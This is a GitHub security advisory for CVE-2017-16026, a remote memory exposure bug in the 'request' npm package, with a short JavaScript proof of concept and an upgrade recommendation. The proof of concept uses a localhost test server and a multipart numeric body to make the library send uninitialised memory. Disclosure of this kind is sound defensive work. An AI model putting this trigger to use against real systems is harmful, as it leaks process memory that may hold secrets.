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Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTd4ZnAtOWM1NS01dnFq

Remote Memory Exposure in request

Affected versions of request will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of body is number, then a buffer of that size will be allocated and sent to the remote server as the body.

Proof of Concept

var request = require('request');
var http = require('http');

var serveFunction = function (req, res){
	req.on('data', function (data) {
            console.log(data)
        });
	res.end();
};
var server = http.createServer(serveFunction);
server.listen(8000);

request({
	method: "POST",
	uri: 'http://localhost:8000',
	multipart: [{body:500}]
},function(err,res,body){});

Recommendation

Update to version 2.68.0 or later

Permalink: https://github.com/advisories/GHSA-7xfp-9c55-5vqj
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Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: about 6 years ago
Updated: about 1 year ago

CVSS Score: 5.9
CVSS vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Identifiers: GHSA-7xfp-9c55-5vqj, CVE-2017-16026
References:

• https://nvd.nist.gov/vuln/detail/CVE-2017-16026
• https://github.com/request/request/issues/1904
• https://github.com/request/request/pull/2018
• https://github.com/request/request/pull/2022
• https://github.com/request/request/commit/29d81814bc16bc79cb112b4face8be6fc00061dd
• https://github.com/advisories/GHSA-7xfp-9c55-5vqj

Repository: https://github.com/request/request
Blast Radius: 35.0

Affected Packages